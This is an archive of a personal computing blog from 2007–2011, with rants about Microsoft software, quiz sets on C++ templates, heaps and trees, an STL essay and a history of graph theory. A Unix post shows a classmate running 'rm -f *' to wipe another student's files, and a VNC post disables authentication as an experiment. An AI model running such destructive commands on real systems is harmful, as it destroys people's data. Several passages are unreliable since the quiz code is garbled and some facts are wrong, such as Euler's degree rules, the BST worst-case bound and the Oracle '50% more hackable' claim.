Digital Neurons

Win7 Hibernate... Yet Another Stupidity...

2011-04-27T00:14:00.004+05:30

Continuing my rant on progress bars and different Microsoft products, this time I want to write about the shiny new Win7's hibernate style. Earlier, when we chose to hibernate our systems, Windows would very decently report the progress of hibernation so that the user was well aware of what was going on and how long would it take for the system to finish hibernating. And yes, this was removed in Win7. Why?

I am just amazed thinking about what might have been the justification to implement such a feature. You click on "Hibernate" and the screen will instantly black out with the hard-disk access light blinking like crazy for 5 mins and then suddenly your system will turn OFF. You will have no idea as to what the system was doing, whether it was actually hibernating or something just happened to your screen. You won't be able to guess the remaining amount of work or time that it would take for the hibernation to complete.

Why does Microsoft take such pains hiding meaningful information from the users? Why do they not think before removing a functionality in newer versions and worsen the user experience with every release? It's a mystery really... Same as the feeling I get when I click on hibernate... Mystery!

And lo! We have the windows updates progress bar!!

2009-08-13T09:12:00.002+05:30

Continuing my last post about the progress bar of IE8, I just happened to notice the progress bar of Windows Updates in my Vista system. It says 30% remaining but the progress bar has no clue about that and it keeps marqueeing!! I mean, seriously, is it just me?? Whats the whole deal with the progress bars of Microsoft products suddenly? They seem to have lost all knowledge of whats going on!

I think the progress bar in windows should be renamed, something like keep-guessing-bar!! I have reduced being on windows and all these ridiculous itches that windows gives me every now and then, I think I will transition to Linux completely, sooner than I thought.

May God put some head in the windows progress bars!

A Tale of the IE8 Installer and the ProgressBar

2009-08-08T05:54:00.003+05:30

After ignoring it for a long time, I had to install the great IE8 browser today. Not because I wanted to, but because I had to test some of my code on it. Yes I know... I had to do that because most of the people who have little knowledge of computers still use IE.. And some others who do realize that IE is the worst browser that humans ever made, are still forced to use it because some firms don't allow them to install better software... Hmm.. How cool is that!

Anyways, since I did not want to deprive the helpless IE group from seeing my code run, I had to make sure that it does not cause any weird problems there, which made me install IE8. Well, everything went fine, and I am still "trying" to debug my code there and make it run. However, one thing that caught my attention was the progress bar in the IE8 installer. Right from the time I started installing it, it kept on marqueeing from left to right, until finally the installation was complete. :-?

Apart from the fact that it looked totally ridiculous to have a progress bar there which tells you nothing about the "progress", I started to wonder, is it not possible for an installer to determine what is the volume of the new content to be copied? Or is it too difficult to find out how much was "installed" and how much is remaining? I mean, typically you can do that, which means, either IE8 does not know the volume of the new content (sounds weird and lame at the same time) or the task to write a proper installer was not done. :P

In either case, the installer casts a similar impression as the browser itself, which is..... wait for it.... CRAP!!

Now this time its Google!! Come on!

2009-03-05T04:36:00.004+05:30

I recently found out a more than lame error while using Orkut - Google's networking portal. They have a nice (and common) feature which allows your friends to add comments on your pics. While another feature which probably keeps monitoring updates for all your friends, will notify you if any of your friend receives a comment on his or her pic..

Turns out that this monitoring and notifying service will notify you that your friend received a comment on her pic irrespective of whether your friend is a male or a female! So, all your friends would be listed as:

A received a comment on her pic!

Thats pretty lame, that they missed a simple check for the sex of the person before notifying their updates..!! Come on Google.. That wasn't expected from you!

My First Blogger's Award...! :D

2008-09-15T19:08:00.004+05:30

Thanks a lot Anand for giving me this award. :) This is the first award I've got for blogging and I will try to live up to it by sharing more and more of knowledge out here. Also, I'll pass on this award to my favorite blogs very shortly... So stay tunned.... :D

LAME Again!! Microsoft...

2008-08-15T03:38:00.004+05:30

When it comes to lame error messages, I always see one while I work on Microsoft's products.. Last week I posted one.. Here is another: :D

I got this while I was installing the SP1 for Visual Studio 2005... Lame Again!

Lame Error from Microsoft Excel

2008-07-21T21:51:00.004+05:30

Now this is what I call LAME (the caps was intended, please don't confuse it with the LAME Project.. :D) !! I tried opening two excel files with the same name in Microsoft Excel and look what I get on my face..!!

This says: "A document with the name 'blah-blah.xls' is already open. You cannot open two documents with the same name, even if the documents are in different folders. To open the second document, either close the document that's currently open, or rename one of the documents."

WOOAAAGH!!! This is CRAZY!! I mean come on developers!! Can't you add the full path while opening a file?? L..A..M..E.. !!

Why do I love Algorithms?

2007-10-26T23:07:00.000+05:30

That is question which is historical and also evolutionary! When I was studying Computer Science in my undergrads, I felt that this was one subject which interested me the most among all the other various subjects under the broad umbrella of Computer Science. But yet, I did not know why... I guess I was yet to experience the apocalypse!

Currently, I am doing my graduation at a superb university called Stony Brook University and I stumbled upon a unique group of people here who claimed themselves to be a part of a group called "The Algorithm Reading Group". Sounded like fun to me and so I also became a part of it... Initially it was difficult to keep up to the pace of the discussion that happened everytime we met, and still sometimes its hard for me to match the level of thinking that these great people have, who come here, but the bottom line that I realised just today is, "Why at all do I love Algorithms?!"

The question now has to do with Life as whole. What is Algorithm, if you ask me, I would tell you that its a way of living life in a good way... :-) Sounds vague... huh!! I still claim that Algorithms is a subject that tells you how to conquer life!! Man.. thats even more vague... :P Lemme give you an example to make all the obscurities more clear...

I was sitting in the reading group today and we were discussing a difficult Illumination Problems which was combined with Scheduling. The problem appeared to me as a great example of living life!! Imagine the your were a curator of a Museum and you had various surveillance cameras placed at different places and you had only one viewing screen... How would you schedule all of them so that all the nook and corner of your Museum would be checked without leaving them dark for a long time... Hmmm... seems like a tough task to me... (Even when I am not a curator!!) So eventually we would come up with a good "algorithm" (the word here maybe misleading!!) so that the life of the curator is made easier... I think you all would agree that what we accomplish here after we devise the algorithm is actually how to live our life as a curator!!

The whole area of algorithms is stuffed with such interesting problems and there even more interesting solutions which necessarily tell you how to live your life if you are put into such a situation... And moreover, who does not want to live his or life in a better way... :D Its like one of those thick books which has the title - "Life - Made Easy!"

And thats why I love Algorithms!!

The Real Story...

2007-10-14T22:22:00.001+05:30

The real story of an IT company.... (Source: http://www.linuxkungfu.org/images/fun/geek/project.jpg)

I Recommend...

2007-10-14T22:04:00.000+05:30

There is a great addon for Firefox users called, "Stumble". I recommend this addon to all the young students, professionals who are beginning there career path and who constantly wanna know... "Whats goin on?"!

One of the links that I found through Stumble is: http://www.eightprinciples.com/

It had great learnings in a fun way and instanty pushed me to start working for a better tomorrow... :)

BEWARE of Antivirus/Anti-spyware?? Whats that!!

2007-09-07T06:32:00.000+05:30

Ever wondered why your computer is not as fast as it used to be when you purchased it?? Do you get the feeling that as the days go by, your computer becomes slower and slower? Imagine that you go to the same shop from where you purchased your computer and complain... "My computer gets slower by the day... Tell me a solution..." What does the shopkeeper tell you... "Get a NEW COMPUTER dude... Your computer is ancient!!" or "Replace your RAM..." yet another, "Get a BIG monitor... some HDTV kind of!!".... Huh... You feel like a stupid... What the hell is he saying?? :D

Now the real point is, almost all of us using a computer over the internet, would make sure that we have the latest definitions for anti-virus dictionaries on our system. We make it a habbit to update our virus definitions regularly. Similar is the case with Anti-Spywares. We keep the definitions of all those software which supposedly "protect" our computer from malicious codes, up-to-date. What could be the downside of such daily ritual?? Hmmm.. thats a tricky question... I mean, you are just making your computer more secure.. right? Keeping it updated with latest definitions. What could be the possible demerits of such a good work?? :D

Now think if this... Each time you update your definition, your dictionary grows.. Hence, each time your computer is scanned for malicious codes which could match a bigger a dictionary.. This is like a cycle...You update your definitions, hence your dictionary grows, and thus it takes more time for your scan to finish because, obviously it matches on a bigger dictionary... Voila!! You are getting a hint as to why your computer is becoming slower day by day... :D

If you delved more to the low level organization of a computer then many more factors like SEEK TIME of a hard disk brings down the speed of your computer drastically.. When you have two scans running at the same time, the situation is even worse.. These two scans keep scanning files present on different tracks and sector of the hard disk... So each time a one scan is swapped out of the memory and the other is made active, the head of the hard disks seek to the file which was being scanned before.. And this again is a slow cycle...

So the moral of the story is... Update your Antivirus/antispyware, cuz you have to.... There is no escaping... But try to schedule all your disc scans at different times... Probably when your computer is idle.. To avoid the time hog that these processes can cause... :)

Did you know? - IV

2007-07-05T19:15:00.000+05:30

This is short but good... I was writing something in the Notepad and suddenly I pressed the F5 function key mistakingly... Suddenly the current TIME and the DATE was automatically appended to my current text!

Did you know that pressing F5 function key in the notepad would bring up the current time and date? :-)

Concept For The Day - Unix File Permissions Pitfalls!!

2007-07-03T16:33:00.001+05:30

Imagine yourself in a situation where you are in a class of 10 students and your instructor has given you all an assignment to be done on Unix/Linux. You have also been instructed specifically that you should not lock your directory so that other students can read your assignment for their reference. By chgance your home directory has write permissions for ALL USERS and you keep saving your assigments inside this directory with only read permissions, thinking that others would read your assignment without changing it. You are pretty contented that all your files are read-only!

Then one day, a student after seeing that you have successfully completed your assignment, and he is still stuck up, decides to tackle the problem in a clandestine way!! He thinks to himself that if he is not able to finish the assignment, he won't let you too :-( So he enters your directory in which you have all your read-only files and simply enters this command at the console: rm -f *
What do you think would happen?? Your files are read-only so you assumed that they cannot be modified or deleted?? You are WRONG!! All your files would be deleted in shot!!! Shocked??!!

The reason for this is in Unix/Linux, Everything is a FILE!! Your home directory is also a special kind of a file having entries of other files. The moment you gave write permissions to your directory, your directory becomes EDITABLE as a file! The system won't allow others to modify the files contained in this directory (owing to the permissions of these files) but will surely allow others to delete these files, as he is just MODIFYING/WRITING your directory without touching your files!!

Hmmm... Lots of realisations!! Scared now, are you? Let me tell you a simple way out. If you are caught up in situations like you have to give write permissions to some directory but you also don't want anyone to delete your files (beacuse of some kinda jealousy :D), just follow a simple step. While you give the write permissions to all users using the command: chmod a+rwx dir_name , also include one more line after this: chmod +t dir_name

Here, the +t stands for the Sticky Bit associated with each directory. Once you set this to '+t' your directory becomes locked for deleting. You can see a 't' at the end of the permissions for your directory when you do a ls -l for your parent directory. Now, only you as the owner can perform delete operations on your directory and nobody else would, even if you have the write permissions enabled for all users!

Got your breath back... huh!! :D

Welcome to the Daily Digest!!

2007-07-02T10:58:00.000+05:30

Here comes one of the biggest news for all our readers!! We are going to have two new sections to all those hungry-for-more users... These are:

Algorithm For The Day
Concept For The Day

The Algorithm For The Day would deal with any ONE algorithm and explain it in easy language so as to help all the struggling students, etc. The Concept For The Day would deal any single concept related to Computer Science, be it Operating Systems, Databases, or any related field... This would be on an alternate schedule, in other words, one day for Algorithms and one day for the remaining Computer Science... Many of you would argue that the study of Algorithms also comes under the umbrella of Computer Science... Yes, I agree with you but this comes as a special addition to all the Algorithm lovers... Infact, I am myself an ardent reader and lover of Algorithms, so you may think this to be a personal bias-ness too... :-) But, in the end, it all leads to our very own personal elevation in the field of Computer Science... Wasn't this our very first aim? YES!! It was and it is...

So gear up your reading glasses and get glued... Cuz we're all on a blogging spree!! :D

Did you know? - III

2007-06-16T08:39:00.000+05:30

This was a bit funny... :-) I was working on VNC server and was looking at my mouse being moved automatically by my remote client... I was so bored with all the lazy work that I decided to some experimentation with VNC!! :P Try the following to see VNC bombarding connections to your box!!!

Start the VNC Server on your box.
Double click on the VNC Server icon in your system tray to edit the properties.
Go to the Authentication Tab and Click on No Authentication.
Uncheck the option Prompt Local Users to Accept Connections and click ok.
You are ready. Now open your VNC Viewer and type the name of your system and press connect......

As soon as you click the CONNECT button....... BOOOM!! You start seeing many VNC viewer screens one after the other!! This is a continuous process so go to (at least try to reach) the system tray and exit the VNC server!!

This happens due to the VNC Viewer hangs in an infinite loop of pointing to the same VNC server again and again!! Guess, the VNC people need to put some validations to their widely used applications!! :-)

Did you know? - II

2007-06-11T16:55:00.000+05:30

Today I come to you with an astounding fact that I was more than compelled to share with you all!! I was working with Oracle server today and was getting loads and loads of job... My head was aching with the pile of shit that was kept in front of me!! Then this miracle happened!! I was about to login to the SQLPLUS using my login information and did not notice that the CAPS LOCK was actually on! I typed the username and password, without even looking at it and pressed enter. Then I saw that I had mistakingly entered the information in ALL CAPS and was ready to re-enter the same info in small letters (as all my authentication details are in small letters).... But voilaaaa!! I was authenticated using these incorrect information and was logged in!!

Did anyone of you guys knew that Oracle server is immune to case??? Man... I was surprised and shoked at the same time!! Don't you think that a lot of issues may arise due to such blunders?? Think about the following:

A hacker, if comes to know that the username and password is case-insensitive, and comprises of only alphabets, then the probabilty to guess it increases by twice!!
It makes Oracle server 50% more hackable!!

As you all already know, that the "Did You Know?" series is entirely based on personal experience, I would love to read your comments/corrections on the same, so that the series can become more of an eye-opener for the entire Computing fraternity!

Standard Template Library

2007-06-10T23:58:00.000+05:30

Alexander Stepanov
Alexander Stepanov is a member of the technical staff at Silicon Graphics, Inc. (Mountain View, CA), where he works on C++ libraries and tools. Prior to joining SGI, he worked for HP Labs, AT&T Bell Labs, Polytechnic University (Brooklyn, NY), and GE R&D. He has worked in such areas as generic software libraries, storage systems, OSes, compilers, and path-planning algorithms for robots. He can be contacted on the Internet at stepanov@mti.sgi.com

Stepanov on STL
In every programming language, there's a need for various data structures, such as vectors, lists, and associative arrays. Programmers also need fundamental algorithms -- for sorting, searching, and copying -- defined for the data structures. It has long been lamented that C++ doesn't provide a good set of standard data structures.

But at last this problem has been remedied. The Standard Template Library is a framework of data structures (called containers in STL) and algorithms accepted as part of the draft C++ standard. A reference implementation of STL has bee n put into the public domain by Hewlett-Packard (it can be downloaded from butler.hpl.hp.com), and a growing number of commercial vendors are now shipping STL.

In the short time since its release, STL has generated many emotional -- and conflicting -- assessments. On one hand, for example, Bjarne Stroustrup of Bell Laboratories calls it a "large, systematic, clean, formally sound, comprehensible, elegant, and efficient framework." On the other hand, Pamela Seymour of Leiden University writes that "STL looks like the machine language macro library of an anally retentive assembly language programmer."

Stepanov on "Goal: Generality + Efficiency"
STL is not an attempt to impose yet another standard on a suffering humanity. And it was not designed by or for a committee. It is the result of over 15 years of research in generic programming that I've done in different places, with different collaborators, and in different programming languages. I did this research with a concrete goal in mind: to find a way to write algorithms in the most general way, but in such a way that their abstractness would not impose any performance penalty.

What do I mean by "in the most general way"? Simply that an algorithm works on all data types for which it makes sense. For example, a linear-search algorithm is written in the most general way if it can search any data structure for which the operations of looking at data, going to the next data element, and indicating the end of the search range are defined. So, it should work for an array, a singly linked list, a doubly linked list, a file, and even a binary tree.

An algorithm should also work for portions of such structures. For example, you might want to search half a list or sum the set of elements in an array that are n spaces apart (i.e., a stride).

What do I mean when I say that an algorithm does not "impose any performance penalty"? In other words, how do you know that a generic algorithm is efficient? An algorithm is called rel atively efficient if it's as efficient as a nongeneric version written in the same language, and it's called absolutely efficient if it's as efficient as a nongeneric assembly language version.

For many years, I tried to achieve relative efficiency in more advanced languages (e.g., Ada and Scheme) but failed. My generic versions of even simple algorithms were not able to compete with built-in primitives. But in C++ I was finally able to not only accomplish relative efficiency but come very close to the more ambitious goal of absolute efficiency. To verify this, I spent countless hours looking at the assembly code generated by different compilers on different architectures.

I found that efficiency and generality were not mutually exclusive. In fact, quite the reverse is true. If a component is not efficient enough, it usually means that it's not abstract enough. This is because efficiency and abstractness both require a clean, orthogonal design. A similar phenomenon occurs in mathematics: Making a proof more abstract makes it more concise and elegant.

Stepanov on "Orthogonal Component Space"
The past 25 years have seen attempts to revolutionize programming by reducing all programs to a single conceptual primitive. Functional programming, for example, made everything into a function; the notions of states, addresses, and side effects were taboo. Then, with the advent of object-oriented programming (OOP), functions became taboo; everything became an object (with a state).

STL is heavily influenced by both functional programming and OOP. But it's not a single-paradigm library; rather, it's a library for general-purpose programming of von Neumann computers.

STL is based on an orthogonal decomposition of component space. For example, an array and a binary search should not be reduced to a single, fundamental notion. The two are quite different. An array is a data structure -- a component that holds data. A binary search is an algorithm -- a component that performs a computation on data stored in a data structure. As long as a data structure provides an adequate access method, you can use the binary-search algorithm on it. Only by respecting the fundamental differences of arrays and binary searches can efficiency and elegance be simultaneously achieved.

Stepanov on "Iterator Categories"

STL classifies iterators into five categories: input, output, forward, bidirectional, and random-access. These iterator categories are sets of requirements for operations that are supported by concrete iterator types. An important experimental discovery I made was that hundreds of different practical algorithms can be written in terms of these abstract categories.

STL specifies a set of valid expressions for each category's iterators, as well as precise semantics for each iterator's usage. For example, given that i is a value of a typ e that belongs to a bidirectional iterator category, if ++i is defined, then -- (++i) == i . STL also prescribes certain complexity requirements for these expressions. Users are thereby guaranteed that algorithms written in terms of these abstract interfaces will work effectively.

Different algorithms require different kinds of iterators, and different algorithms are needed to perform different operations on different data structures. STL uses a novel language technique that selects the right algorithm at compile time, depending on the iterator category.

Stepanov on "The Future"
It is my hope that STL will prove to be the beginning of a long process of developing systematic catalogs of highly parameterized software components. The ANSI/ISO C++ standard committee saw the promise of STL and provided a conduit through which generic programming could reach working programmers.

I'd like to use this opp ortunity to advocate the creation of an industrywide consortium for developing new generic components. No single company can accumulate the algorithmic expertise that is needed for such an activity. And it is in everybody's interest that all the fundamental algorithms and data structures be universally and inexpensively available.

After reading this article if you are interested in "generic programming and make significant contributions to the same then I think the below mentioned sites might help you to motivate you and provide some much needed insights into the world of "generic programming"

http://www.sgi.com/tech/

http://www.math.tu-cottbus.de/~berti/research/generic.html

http://www.cs.rpi.edu/~musser/gp/

A very short and sweet introduction to STL Patterns
http://www.two-sdg.demon.co.uk/curbralan/papers/STLPatterns.pdf

Good STL books available on net
http://www.informatik.hs-bremen.de/~brey/stlbe.pdf

http://www.esnips.com/ViewTagsAction.ns

Hope this info was useful to get you sweating and interested in computer science :)

All about Function Templates

2007-06-09T21:31:00.000+05:30

I am giving you some nice questions on function templates in the increasing order of difficulty. This time around I have included *hints too :) and will follow this in the upcoming "All About" series.

Here goes the problems ...

1. What are function templates ?
2. what is the difference between template and template ?
3. Are function templates compiled into single entities that can handle any type ?
4. How many times are the templates compiled internally ?
5. Is there anything wrong with the following code ? If so what and how will you handle it?

template 
inline T const& max (T const& a, T const& b)
{
  // if a < b then use b else use a
  return a c1, c2;
...
max(c1,c2); // A
max(4, 4.2); // B
}

6. What are the two kinds of parameters for function templates ?
7. Can default template arguments be specified for the function templates ?
8. Can the Function Templates be overloaded ?
9. Look carefully at the given code below
// maximum of two int values
inline int const& max (int const& a, int const& b)
{
   return a}

// maximum of two values of any type
template 
inline T const& max (T const& a, T const& b)
{
   return a}

// maximum of three values of any type
template 
inline T const& max (T const& a, T const& b, T const& c)
{
   return max (max(a,b), c);
}

int main()
{
  ::max(7, 42, 68);     // A
  ::max(7.0, 42.0);     // B
  ::max('a', 'b');      // C
  ::max(7, 42);         // D
  ::max<>(7, 42);       // E
  ::max(7, 42); // F
  ::max('a', 42.7);     // G
}

Now that you had a good look at the code, you may be
able to answer as to which version of max function gets
called at A, B, C, D,E, F and G ?

10.Locate the errors (if at all) in the following code 
snippet at A, B, C, D and E?
// maximum of two values
//of any type (call-by-reference)
template 
inline T const& max (T const& a, T const& b)
{
return a < b ? b : a; //A
}

// maximum of two C-strings (call-by-value)
inline char const* max (char const* a, char const* b)
{
return std::strcmp(a,b)<0?b:a; //B
}

// maximum of three values
//of any type (call-by-reference)
template 
inline T const& max(T const& a,T const& b,T const& c)
{
   return max (max(a,b), c); //C
}

int main ()
{
  ::max(7, 42, 68); // D

  const char* s1 = "frederic";
  const char* s2 = "anica";
  const char* s3 = "lucas";
  ::max(s1, s2, s3); // E
}



*HINTS
1. Function templates provide a functional
behavior that can be called for different types.
In other words, a function template represents a family of
functions.
2.Semantically there is no difference in this context.
3.Normally, templates aren't compiled into
single entities that can handle any type.
Instead, different entities are generated
from the template for every type for which
the template is used.
4.Templates are compiled twice:Without instantiation, the template code
itself is checked for correct syntax.
Syntax errors are discovered, such as missing
semicolons.
At the time of instantiation, the template code
is checked to ensure that all calls are valid.
Invalid calls are discovered, such as
unsupported function calls.
5. At 'A' error can occur if the '<' operator
is not overloaded. At position 'B' error is there
because first T is int and second T is double and
note that no automatic conversion is allowed here.
There are 3 ways to handle this type of error:
a)Cast the arguments so that they both match
max(static_cast(4),4.2)    // OK
b)Specify (or qualify) explicitly the type of T
max(4,4.2)                 // OK
c)Specify that the parameters may have different types

6. Template parameters, which are declared
in angle brackets before the function template name:
template             // T is template parameter
Call parameters, which are declared in
parentheses after the function template name:
max (T const& a, T const& b)
// a and b are call parameters
7. No
8. Yes
9.
A:calls the template for three arguments
B:calls max (by argument deduction)
C:calls max (by argument deduction)
D:calls the nontemplate for two ints
E:calls max (by argument deduction)
F:calls max (no argument deduction)
G:calls the nontemplate for two ints

10. There is error at C and E.

hope u enjoyed this ;)

Self Referencing Codes

2007-06-09T12:39:00.000+05:30

First of all I dont know why I am writing this post, I dont know you will enjoy reading this, but its all me and my psychy and i know I am not alone on this frontier, there have been many and many more will be there as we all are same after all, coded with the same language and on a single platform. Parameters are different unders different circumstances, but I dont think that makes us different from each other. Materialistic, philosophical, smartness, sharpness, physical and many others segregation that we can concieve of and make ourselves different or think ourselves as different are all superficial and superficial to the extent that we spend our lives maintaing our "uniqueness" and justifying the same. Code duplication is our main purpose, I dont want to argue on it but within the scope of my thinking and "awareness" I dont see any any other reason. I always think "Am i being fooled on this "purpose" thing ??? But who will give me the answer ? i dont want any justification, convincing, or answers also. Sometimes I am too confused even to know and think what i want. why I always feel caged into something out of which i dont see any way to come out, I know I will never be able to come out, I know I am not the first one with this feeling, there have been many in the past and there will be many in the future too, may be as long as we "intelligent" programs thrive on this platform. May be the coder is too smart to have left any bug or he was too stupid to have left so many bugs that we all have this peculiar feeling at some point in our run. Why I am writing this?? is this also was hard coded somewhere ?? predetermined? within the scope of my run ? whats the way to find these things out? Why I need answers ? if at all they exist ! will that make any difference? I know I dont know and I will never know why i cant ever know "this". All that i am doing is asking questions. How relevant, how important, how smart, and why I am feel silence inside while writing this I have absolutly idea. but I love this silence when nobody is calling me, when all my parameters are intact, when nobody is playing with them, I want to wipe out my memories now, anyhow they will be wiped out at somepoint. I dont want to know that i have memory, that somebody is pointing to and that i have to perform some stupid operations for them, I dont care ! I want freedom from all pointer and all references, its just too scary to know this. But I can survive in my "silent space". I dont need any answers ! what i will do with them ? I dont know. Ignorance and enlightment have limited scope, today and at this time frame what my code is looking for is incomprehensible and it will always be, may be I wanted this way and our programmer wanted this way, May be again hez too stupid or too smart so that all my life I will be looking forward to things which dont have answers and the may be purpose of coder is solved this way if he has any !

Origins and development of "graph theory"

2007-06-07T02:25:00.000+05:30

I am as much interested in the current technological inventions as in their thoeretical upbringing. Thats why I thought let me put together something about one of the most important concepts in the field of computer science and mathematic that is "graph theory".

Graph theory is an old subject with many modern applications. Its basic root was introduced in the eighteenth century by the great Swiss mathematician Leonhard Eular.

1736 - Graph Theory born with Leonard Euler's paper "The Seven Bridges of Königsberg". This is how Euler describes the problem:

" The problem, which I understand is well known, is stated as follows:

In the town of Königsberg in Prussia (nowadays a city of Kaliningrad in Russia, comment is mine, CTK) there is an island A, called "Kneiphoff", with the two branches of the river (Pregel) flowing around it. There are seven bridges, a, b, c, d, e, f, and g, crossing the two branches.The question is whether a person can plan a walk in such a way that he will cross each of these bridges once but not more than once. I was told that while some deny the possibility of doing this and others were in doubt, there were none who maintained that it was actually possible.On the basis of the above I formulated the following very general problem for myself: Given any configuration of the river and the branches into which it may divide, as well as any number of bridges, to determine whether or not it is possible to cross each bridge exactly once. "

Euler labored and exposed the truth. First he divided the vertices into odd and even based on the parity of the number of paths directly connected to that vertex. He then noted about any graph the following four rules:

There will always be an even number of odd(degree) vertices.
If there are no odd(degree) vertices, then there is an Euler circuit starting at every vertex.
If there are two odd(degree) vertices, then there is no Euler circuit, but at least one Euler path starting at one odd(degree) vertex and ending at the other.
If there are four or more vertices, then there are no Euler paths.

More than one century after Euler's paper on the bridges of Königsberg and while Cayley was led by the study of particular analytical forms arising from differential calculus to study a particular class of graphs, the trees. This study had many implications in theoretical chemistry.

One of the most famous and productive problems of graph theory is the four color problem: "Is it true that any map drawn in the plane may have its regions colored with four colors, in such a way that any two regions having a common border have different colors?". This problem remained unsolved for more than a century and the proof given by Kenneth Appel and Wolfgang Haken in 1976.

The autonomous development of topology from 1860 and 1930 fertilized graph theory back through the works of Jordan, Kuratowski and Whitney. Another important factor of common development of graph theory and topology came from the use of the techniques of modern algebra. The first example of such a use comes from the work of the physicist Gustav Kirchhoff, who published in 1845 his Kirchhoff's circuit laws for calculating the voltage and current in electric circuits.

The introduction of probabilistic methods in graph theory, specially in the study of Erdős and Rényi of the asymptotic probability of graph connexity is at the origin of yet another branch, known as random graph theory. Research in this branch has enabled mathematicians across the globe to advance the theory of graphs significantly.

Now Lets get ourselves introduced with modern day "GOD" from the field of Graph Theory and his vision.

Dr. Narsingh Deo, Millican Chair Professor of Computer Science
Now Deo is working on Web graphs: "The World Wide Web can be modeled as a directed graph where each node is a Web page and each hyperlink is an edge or line. Studying Web graphs gives insight into lots of things, such as Web algorithms for crawling, searching or ranking Web resources. Or if a virus spreads, we can use graph theory to see how it would travel through the Web. The Internet is a similar, large graph, and if you want to isolate certain cyber attacks, or something, you can do it using graph theory."

If you want more info on graph theory then please follow these links, it may prove beneficial.
http://www.nrich.maths.org/public/viewer.php?obj_id=2414
http://mathforum.org/isaac/problems/bridges1.html
http://www.jcu.edu/math/vignettes/bridges.htm

Wish you a happy learning :)
"COBOL programs are an exercise in Artificial Inelegance."

All About HEAPS :)

2007-06-06T23:11:00.000+05:30

I am presenting the problems on heaps, try to solve it and if you are facing problems then ofcourse we are there at ramblers011@gmail.com :)

For theory you can refer the following link
http://en.wikipedia.org/wiki/Heap_%28computer_science%29

So lets get down to the business.

What are the minimum and maximum number of elements in a heap of height h ?
What is the height of the n-element heap ?
Show that with the array representation for storing an n-element heap, the leaves are the nodes indexed by the [n/2]+1, [n/2]+2 ... n.
The Max-Heapify procedure is the key to maintain the max-heap property, determine its running time ?
Describe the recurrence for the running time of Max-Heapify procedure.
Write the procedure for Min-Heapify and is the running time for the Min-Heapify same as that of the Max-Heapify ?
How many nodes of height h are there in any n-element heap ?
Show that the worst case running time of heap-sort is OMEGA(nlgn).
What is the running time of heapsort algorithm on an array A of length n that is already sorted in increasing order ? What about decreasing order ?
Show that the worst case running time of the heapsort is OMEGA(nlgn).

So this is it ! these are not so tough problems but crucial for the better undestanding of many big problems concerning Trees and Graphs. So keep learning and solving problems as this is both your duty and karma as a computer enthusiast.

" There are only 10 types of people in the world: Those who understand binary, and those who don't. " :D

ALL ABOUT BINARY TREES

2007-06-06T02:09:00.000+05:30

Here we are giving a set of binary tree problems in the increasing order of difficulty. If at all you are studying binary trees for your exams, interviews or just for recreation please go through these problems.
This set of problems is particularly useful for the guys who are tuning themselves in data structures, pointers, C, C++ and Java.
Feel free to contact us to add problem to this collection and help others to know, share and broaden their knowledge of binary trees. :)

Write code that builds the little 1-2-3 binary search tree.
Given a Binary Tree, count the number of nodes in the tree.
Given a Binary tree, compute its "max-depth" -- the number of nodes along the longest path from the root node down the farthest leaf node. The max depth of the empty tree is zero.
Given a non-empty binary search tree (an ordered binary tree), return the minimum data value found in the tree.
Given a binary search tree aka ordered tree, iterate over the nodes to print them in increasing order.
Given a binary tree, print the nodes in the post order traversal.
Given a binary tree and a sum, return true if the tree has a root-to-leaf path such that adding up all the values along the path equals the given sum. Return false if no such path can be found.
Given a binary tree, print out all of its root-to-leaf paths, one per line.
Change a tree so that the roles of the left and right pointers are swapped at every node and the new tree is the mirror image of the old tree.
For each node in a binary search tree, create a new duplicate node and insert the duplicate as the left child of the original node. The resulting tree should still be a binary search tree.
Given two binary trees, return true if they are structurally identical - they are made with the same values in the same ways.
Suppose you are building an N node binary search tree with the values 1...N. How many structurally different binary search trees are there that store those values.
Given a binary tree, examine the tree to determine if it meets the requirement to be a binary search tree.

ULTIMATE PROBLEM:

Write a recursive function that takes an "ordered binary tree"(Binary Search Tree) and rearranges the internal pointers to make a doubly linked list out of the tree nodes.The "previous pointer" of the doubly linked list should be stored in the "left pointer" field and the "next pointer" of the doubly link list should be stored in the "right pointer" field. The doubly link list should be arranged so that the nodes are in increasing order.

The above mentioned problem is known as the "Great Tree-List Recursion Problem". It is one of the neatest recursive problem ever devised. It uses pointers, binary trees, linked lists, and some significant recursion.

Hope you enjoyed this collection of problems on Binary Trees.
For suggestions, ideas, and feedback feel free to contact us at ramblers011@gmail.com
:D

ALL ABOUT BINARY SEARCH TREES - 1

2007-06-05T22:23:00.000+05:30

A 'Binary Search Tree' (BST) or an "Ordered Binary Tree" is a binary tree which satisfy the binary-search-tree property

{ Let x be a node in a BST. If y is a node in the left subtree of x, then key[y] <= Key[x]. If y is a node in the right subtree of x, then Key[x] <= Key[y] }

BST supports many dynamic operations such as SEARCH, MAX, MIN, PREDECESSOR, SUCCESSOR, INSERT and DELETE. This makes it useful for dictionary operations and priority queue.

Basic operations on a BST take time proportional to the height of the tree, such operations run in THETA(lg n) worst case time. If the tree is a linear chain of n nodes, the same operations run in THETA(n) worst case time.

We can walk through the BST in three ways.
1. inorder tree walk.
2. preorder tree walk.
3. post order tree walk.

The pseudo code for the inorder tree walk is as follows.

http://en.wikipedia.org/wiki/Binary_search_tree#Deletion
or
http://www.personal.kent.edu/~rmuhamma/Algorithms/MyAlgorithms/binarySearchTree.htm

It takes a linear time to perform the walk. And if x is the root of an n-node subtree, then call to the procedure INORDER-TREE-WALK(x) takes THETA(n) time.

Searching
Given a pointer to the root node of the tree and a key k, TREE-SEARCH returns a pointer to a node with key k if one exists, otherwise it returns NIL. This runs in O(h) time. where h is the height of the tree.

http://en.wikipedia.org/wiki/Binary_search_tree#Deletion
or
http://www.personal.kent.edu/~rmuhamma/Algorithms/MyAlgorithms/binarySearchTree.htm

Maximum and Minimum
TREE-MAXIMUM(x)
1. while right[x] <> NIL
2. do x <-- right[x]
3. return x

TREE-MINIMUM(x)
1. while left[x] <> NIL
2. do x <-- left[x]
3. return x

Successor and Predecessor
The structure of the BST allows us to determine the successor of a node without ever comparing keys. The following procedure returns the successor of a node in a BST if it exists, and NIl if has the largest key in the tree.

TREE-SUCCESSOR(x)
http://en.wikipedia.org/wiki/Binary_search_tree#Deletion
http://www.personal.kent.edu/~rmuhamma/Algorithms/MyAlgorithms/binarySearchTree.htm

If the right subtree of node x is nonempty, then the successor of x is just the leftmost node in the right subtree. On the other hand, if the right subtree of node x is empty and x has a successor y, then y is the lowest ancestor of x whose left child is also an ancestor of x.

Insertion and Deletion
